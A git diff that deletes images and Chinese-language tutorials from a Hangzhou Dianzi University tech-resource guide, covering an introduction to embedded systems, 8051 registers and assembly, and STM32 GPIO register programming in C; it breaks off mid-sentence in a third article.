a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnliAj5mb0Afz0TOMwrwytmh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnmsqq7VweNAqWlHxdZDAMDf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnmsqq7VweNAqWlHxdZDAMDf.png deleted file mode 100644 index 27d3f01..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnmsqq7VweNAqWlHxdZDAMDf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnn8a16DYyEPEVuHxvvw7eAf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnn8a16DYyEPEVuHxvvw7eAf.png deleted file mode 100644 index a89b05a..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnn8a16DYyEPEVuHxvvw7eAf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnnWI38bkSzeCe5TtVTBCrNh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnnWI38bkSzeCe5TtVTBCrNh.png deleted file mode 100644 index 49a176e..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnnWI38bkSzeCe5TtVTBCrNh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png deleted file mode 100644 index 9763670..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnokdWGegr2XCi1vfg0ZZiWg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnokdWGegr2XCi1vfg0ZZiWg.png deleted file mode 100644 index 17bb99f..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnokdWGegr2XCi1vfg0ZZiWg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnolggxKhDZDBzIFPIaDFfhc.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnolggxKhDZDBzIFPIaDFfhc.png deleted file mode 100644 index c646b0c..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnolggxKhDZDBzIFPIaDFfhc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png deleted file mode 100644 index eba9b52..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif deleted file mode 100644 index b73fa45..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnoyxKL4bOeYOOjrh6it0BHd.gif and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnp9i1SagOxXd17W9BiP3RNe.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnp9i1SagOxXd17W9BiP3RNe.png deleted file mode 100644 index a06356b..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnp9i1SagOxXd17W9BiP3RNe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png deleted file mode 100644 index 42c9632..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnpDPWKnB6x4fQmGpyvLQJLf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnplbH8Ot0U6cuLHStDmXyze.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnplbH8Ot0U6cuLHStDmXyze.png deleted file mode 100644 index c35eecb..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnplbH8Ot0U6cuLHStDmXyze.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png deleted file mode 100644 index bac473a..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png deleted file mode 100644 index d85fb6a..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnqHCP5KiSF4Vmc6M1cjEXKg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnqdfrOIxim4wBayDDBitHCd.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnqdfrOIxim4wBayDDBitHCd.png deleted file mode 100644 index bee5432..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnqdfrOIxim4wBayDDBitHCd.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnquKepO4wJ74KfNIy3LtqVg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnquKepO4wJ74KfNIy3LtqVg.png deleted file mode 100644 index 497a7a2..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnquKepO4wJ74KfNIy3LtqVg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg deleted file mode 100644 index 06a1ee4..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnrMvM1THshjXXOuh8WXi2zr.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png deleted file mode 100644 index cd70452..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcns6XIPrRoAzgcmiMQKLdOfe.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcns6XIPrRoAzgcmiMQKLdOfe.png deleted file mode 100644 index 33e0a68..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcns6XIPrRoAzgcmiMQKLdOfe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcns8yMCuacj0A2BbMU6ZB08b.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcns8yMCuacj0A2BbMU6ZB08b.png deleted file mode 100644 index cabca4c..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcns8yMCuacj0A2BbMU6ZB08b.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png deleted file mode 100644 index 75fce0a..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png deleted file mode 100644 index e155efe..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png deleted file mode 100644 index 3462815..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png deleted file mode 100644 index 068e637..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png deleted file mode 100644 index 88541f1..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png deleted file mode 100644 index 9959b33..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png deleted file mode 100644 index c75fcfc..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png deleted file mode 100644 index 2872b2b..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png deleted file mode 100644 index 5a77196..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png deleted file mode 100644 index a0c3148..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png deleted file mode 100644 index c0384d7..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png deleted file mode 100644 index b7204a6..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png deleted file mode 100644 index 2925c74..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png deleted file mode 100644 index 7e9b6e7..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png deleted file mode 100644 index dde2df8..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg deleted file mode 100644 index f9dbcec..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png deleted file mode 100644 index c321518..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png deleted file mode 100644 index 0e6b6c3..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg deleted file mode 100644 index 04503f7..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png deleted file mode 100644 index 5d74a91..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/srt2023newqqgroup.png b/技术资源汇总(杭电支持版)/4.人工智能/static/srt2023newqqgroup.png deleted file mode 100644 index 7e42dd3..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/srt2023newqqgroup.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐引擎的架构.png b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐引擎的架构.png deleted file mode 100644 index 05aa35c..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐引擎的架构.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统外围架构图.png b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统外围架构图.png deleted file mode 100644 index 896acf4..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统外围架构图.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统的架构图.png b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统的架构图.png deleted file mode 100644 index 9933057..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统的架构图.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/用户物品二分图模型.png b/技术资源汇总(杭电支持版)/4.人工智能/static/用户物品二分图模型.png deleted file mode 100644 index 11c793b..0000000 Binary files a/技术资源汇总(杭电支持版)/4.人工智能/static/用户物品二分图模型.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md deleted file mode 100644 index bc0a3f5..0000000 --- a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?.md +++ /dev/null @@ -1,53 +0,0 @@ -# 嵌入式是什么?可以吃吗? - -> Author:肖扬 - -## 概念引入与讲解 - -刚开始接触嵌入式的人,往往会有这样的疑惑:嵌入式到底是什么? - -这不是因为那些人没有完全入门嵌入式,而是因为在嵌入式的学习过程中你会发现,它的概念会越来越大,逐渐模糊了你的认知,就拿一张某乎上的照片而言: - -![](https://cdn.xyxsw.site/boxcny07MPlh99IIS5yxAdL4iDb.png) - -可见嵌入式的概念之广。 - -而我也常常遇到学弟学妹们去向我提问:什么是嵌入式? - -我觉得以我通俗的话来讲就是:在硬件设备上写软件代码。虽然这种说法并不是完全准确,但是对于初学者而言暂时性的保持这样的认知,在探索嵌入式的过程中不断完善自己的学习体系,已是极好。 - -不如举一个大学里玩嵌入式的常见概念吧:机器人。 - -这玩意儿大家估计不陌生,比如你去酒店里,也许会有一个可以坐电梯上下楼层来完成特定任务的机器人(说实话高二在某季酒店第一次见的时候还蛮新鲜) - -![](https://cdn.xyxsw.site/boxcn99MPmacSrXPkIgQ13FLABc.jpg) - -而它也是一个嵌入式产品(或者说它们)。 - -这是相对来说较为复杂的嵌入式系统,在我看来它需要的技能可能包括:基础人机交互(客房电话、前台终端)、基础运动控制、多机交互与编队(与其他机器人、电梯系统之间的交互)、图像处理、目标检测、目标识别、语音识别、路径规划等等。 - -再介绍一个我常举的例子:智能手表。 - -比如某米的经典智能运动手环,可以心率检测、可以登录 wx 等平台、可以完成相应的运动检测等等 - -在嵌入式开发者的眼里,这会是一款成功的作品(当然考虑到了它的营销方面),它用通用嵌入式操作系统 + 应用软件的高端嵌入式系统结构,在满足系统对功能、功耗等要求的前提下,能将产品价格维持在一个较低的水平上,并且在我看来其 GUI 设计非常的令人舒适。 - -塞一个我认为很帅的 DIY 自行车码表,其 UI 设计也相当的棒。 - - -还有一个我最近关注的一个博主,我喜欢其富有想法的创造力与强大的执行力。 - - -## 想说的话 - -相信到这里,你对嵌入式或者嵌入式产品已经有了初步的认识。 - -说相对实在点的东西的话:在大学中,或者在杭州电子科技大学,学了嵌入式的一些基础知识后你可以去参与一些相关的竞赛(全国大学生电子设计竞赛、全国大学生智能车竞赛、全国大学生工程实践与创新能力大赛、Robot Master 机甲大师竞赛等等),也许你已经了解到杭电的环境会让你不断地接触许许多多的竞赛,在竞赛的学习过程中你可以获得一定的能力、获得一定的感悟,也许能获得到一定的荣誉,如果你足够优秀的话可以最后保研上岸,成为别人眼里的佼佼者。 - -**但是,笔者想说的是:** - -大学不再是像从前那般循规蹈矩,你可以在大学的生活中尝试各种各样的事情,这四年时光本就是一个不断试错的过程。如果你本身对竞赛十分感兴趣,或者说想要通过竞赛让自己之后的路走的更加顺畅,那么我会祝愿你能学有所成,并且最终能获得到自己满意的成绩; - -**但我更希望你是真正地对嵌入式感兴趣,热爱创造它的时光,热爱披荆斩棘后成功的欣喜,热爱它的生命,热爱它赋予你的意义...在这段学习历程中,竞赛会是你成长的一部分,但不是全部,也不能是全部。作为一个伪理想主义者(我认为完全的理想主义者不会痛苦,只有现实的理想主义者才会痛不欲生),生命中总会有更重要的东西,比如爱,无论是喜爱还是热爱,比如人,无论是亲朋还是蒹葭。** - -科技的最终意义是提高生产力,但科技带来的意义也远不止于此,我希望你们在接下来学习嵌入式的过程中,能不忘本心,钦佩自己的永远独立,钦佩自己的永远自由,不被世界的功利化所迷惑,感受嵌入式那独特而又真实的生命力! diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C.md deleted file mode 100644 index 35ae1fd..0000000 --- a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C.md +++ /dev/null @@ -1,157 +0,0 @@ -# New meaning of C - -> Author:肖扬 - -在上一篇文章中,我们介绍了嵌入式相关的产品,其中芯片充当着及其重要的作用,本篇我们将以孵化器实验室的部分考核流程与教程作为参考,并且加以一定的概念解析,逐步地为大家解开单片机裸机开发的面纱。 - -PS:在学习此模块之前,我希望你们能熟练掌握 C 语言的基础知识,特别是指针方面的内容。 - -如果你还没有完成 C 语言的学习,可以参考此文章:[3.4C 语言](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.4C%E8%AF%AD%E8%A8%80.md) - -## STC89C52--一款入门级的芯片 - -### 相关介绍 - -Intel 的 STC89C51\C52 系列早在上世纪 80 年代就已经广泛运用,考虑到其精简但较为充足的硬件资源以及其低廉的价格,笔者十分建议可以从 51 单片机系列开始去接触整个嵌入式行业(因为你需要知道自己适不适合进入到嵌入式行业,大学本就是一个试错的过程,而低廉的价格使得其试错成本变得很低) - -以下是比较推荐的学习路线: - -1、购买 51 单片机:[CZ0001「普中 51 单片机学习板开发板 stc89c52 单片机实验板 C51 单片机 diy 套件」](https://m.tb.cn/h.UuGJR5G?tk=kN94dm040JX) - -2、推荐学习视频:[【51 单片机入门教程 -2020 版 程序全程纯手打 从零开始入门】](https://b23.tv/KmaWgUK) - -3、相关学习资料: - -软件安装包、开发板资料、课件及程序源码百度网盘链接: - -[https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng](https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng) 提取码:gdzf,链接里压缩包的解压密码:51,如果打不开请复制链接到浏览器再打开 - - - -## 寄存器(VERRY--IMPORTANT!!!) - -相信学完 C51 的内容,你已经对寄存器有了一定的了解。 - -但是由于其重要性,以及为了巩固各位的基础知识,防止出现有些人学了 A 只会 A,学了 B 只会 B,而不会 CDEF...的现象,所以这里我必须要着重重新讲解一下寄存器的概念。 - -在 C 语言中我们有 int、short、long 等变量,实际上 C 语言中还可以定义一个寄存器变量(register)。 - -那么为什么需要寄存器呢,或者说我们为什么需要一个寄存器变量呢。 - -这里我不从计算机组成原理或者微机接口与技术的概念入手,而是举一个简单的例子: - -如果我们在图书馆上准备看书,去获取知识,此时我们是 CPU、书则是数据。 - -如果我们去图书馆里的书架上拿书并观看,则需要:走到对应书架 - 拿书(获取数据)- 回到书桌,这需要花费相当一部分的时间,此时硬盘相当于书架;如果我们直接拿书桌上的书,则相对速度会快很多,此时书桌相当于主存;如果我们手上就有一本书,那么我们低头就可以看到,手就相当于寄存器。所以,寄存器是 CPU 内部用来存放数据的一些小型的存储区域,用来暂时存放参与运算的数据和运算结果以及一些 CPU 运行所需要的信息。 - -以我举例而言,**可见寄存器获得数据的速度会快于主存与硬盘,而存储数据的大小将会小于主存与硬盘**,如果这块不清楚的话也可以去看 也许你会用上的基础知识 中的存储器知识部分。 - -而从汇编语言的角度来讲(此为 Intel 的汇编语法): - -```asm -WAIT_FOR_TIMER: - MOV A, LED_COUNT ;读取当前亮灯的编号 - CJNE A, #00H, NOT_FIRST_LED ;如果不是第一个灯,则跳转到NOT_FIRST_LED标签 - MOV A, #03H ;如果是第一个灯,则将延时设为3秒 - SJMP DELAY ;跳转到延时 -NOT_FIRST_LED: - ....... -DELAY: - ....... -;此汇编代码块中,累加器A作为一个常用的特殊寄存器,充当着暂时存储数据信息的作用 -;存储LED_COUNT的编号并用于比较大小,存储所需延时时间并用于DELAY块 -``` - -```asm -ORG 0BH - PUSH ACC ; 保存寄存器状态 - PUSH PSW - ...... - POP PSW ; 恢复寄存器状态 - POP ACC - RETI ; 返回中断 -;此汇编代码块用于基本的中断处理,我们需要保存ACC、PSW的状态来维持中断以及中断后程序的正常进行 -``` - -以上简单例举了寄存器的一般作用,以汇编语言出发去讲的原因是:它能有效地展现底层代码的工作原理,既不会像机器语言那样只用 0、1 表示的晦涩难懂,又不会像高级语言那般难以直观地看到底层的工作方式。但是,我们做嵌入式入门开发的过程中并不会让你直接去写汇编语言,而是以最基础的 C 语言(相比汇编而言,C 在功能上、结构性、可读性、可维护性上有明显的优势),通过 Keil、IAR 等拥有交叉编译器的 C 语言软件开发系统来完成高级语言、汇编语言、机器语言的转码工作,从而通过 C 语言的编写来控制单片机等嵌入式系统的开发。 - -而抽象层面的 C 代码需要通过访问寄存器来直接控制硬件。所以在嵌入式开发的过程中,C 有了特殊的含义:**C 里的数字代表的可能只是一个地址或者一个数据,但是在嵌入式开发里,这样一个数字也可以代表着一种寄存器状态。** - -下面引入一个 STM32F1 系列的 GPIO 部分寄存器图(来源正点原子提供的 F1 参考手册): - -![](https://cdn.xyxsw.site/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png) - -![](https://cdn.xyxsw.site/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png) - -如果我们想做一个简单的实验 - 驱动一个 LED 灯(假设此 LED 灯以 PB5 为输出驱动口),在对相应的 RCC 时钟等配置之外,最重要的是对相应的 GPIO 口的配置,首先我们查阅其寄存器的物理起始地址: - -![](https://cdn.xyxsw.site/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png) - -![](https://cdn.xyxsw.site/HTFUbsQCNouQVzx0QYiciQWOnZf.png) - -可见 GPIO 外设通过 APB2 总线进行地址定位与传输数据的,所以我们要控制 PB5 的话首先需要定位到对应的地址: - -```c -#define PERIPH_BASE ((uint32_t)0x40000000) //外设基址 - -#define APB1PERIPH_BASE PERIPH_BASE -#define APB2PERIPH_BASE (PERIPH_BASE + 0x10000) //APB2 基址 -#define AHBPERIPH_BASE (PERIPH_BASE + 0x20000) - -#define AFIO_BASE (APB2PERIPH_BASE + 0x0000) -#define EXTI_BASE (APB2PERIPH_BASE + 0x0400) -#define GPIOA_BASE (APB2PERIPH_BASE + 0x0800) -#define GPIOB_BASE (APB2PERIPH_BASE + 0x0C00)//GPIOB 基址,计算可得 0x40010C00 -#define GPIOC_BASE (APB2PERIPH_BASE + 0x1000) -#define GPIOD_BASE (APB2PERIPH_BASE + 0x1400) -#define GPIOE_BASE (APB2PERIPH_BASE + 0x1800) -#define GPIOF_BASE (APB2PERIPH_BASE + 0x1C00) -#define GPIOG_BASE (APB2PERIPH_BASE + 0x2000) -//APB2 还有相关定时器的基址,这里就不再展示 - -#define GPIOB ((GPIO_TypeDef *) GPIOB_BASE) -``` - -根据如上提供的 CRL、ODR 寄存器的功能映射,要使得 PB5 推挽输出且初始电平输出为高,则需要: - -```c -void LED_Init(void) -{ - RCC->APB2ENR|=1<<3; //GPIOB 的时钟使能,只有使能对应的时钟后 GPIO 才能正常工作 - - GPIOB->CRL&=0XFF0FFFFF; //由图可知,CRL 的第 20-23 位控制 5 口,此举是对第 20-23 位清零 - GPIOB->CRL|=0X00300000; //此举是对第 20-23 位赋值 0011,根据寄存器功能可知此代表 50Mhz 推挽输出 - GPIOB->ODR|=1<<5; //设置 ODR 第 5 位为 1,输出高电平 -} -``` - -其中 GPIOB 的结构体如下所示: - -```c -typedef struct -{ - __IO uint32_t CRL; - __IO uint32_t CRH; - __IO uint32_t IDR; - __IO uint32_t ODR; - __IO uint32_t BSRR; - __IO uint32_t BRR; - __IO uint32_t LCKR; -} GPIO_TypeDef; -``` - -所以由以上提到的例子而言,C 语言可以从如下三方面进行与寄存器之间的控制: - -1. 寄存器的地址可以使用**指针变量**来访问。 -2. C 语言中的**结构体可以用于表示寄存器映射**。 -3. C 语言中的**位域可以用于表示寄存器中的位**。 - -而且 C 语言中的内联汇编可以用于直接访问寄存器。在某些情况下,如果我们需要直接访问寄存器来完成复杂的硬件控制操作,则可以使用汇编语言指令来直接访问寄存器,从而实现复杂的硬件控制操作。常见的如,堆栈大小的设置等。 - -```asm -Stack_Size EQU 0x00000400 - - AREA STACK, NOINIT, READWRITE, ALIGN=3 -Stack_Mem SPACE Stack_Size -__initial_sp -``` diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md deleted file mode 100644 index 14e9eff..0000000 --- a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md +++ /dev/null @@ -1,172 +0,0 @@ -# 还玩裸机?上操作系统! - -> Author:肖扬 - -在 [New meaning of C](./5.2New%20meaning%20of%20C.md) 栏目中,我们已经从 stc51 单片机系列和 stm32 单片机系列进行了一定的裸机开发讲解,并且延伸到了通过相关的 datasheet 对刚接触到手的芯片进行开发(毕竟你总不能成为 stm32 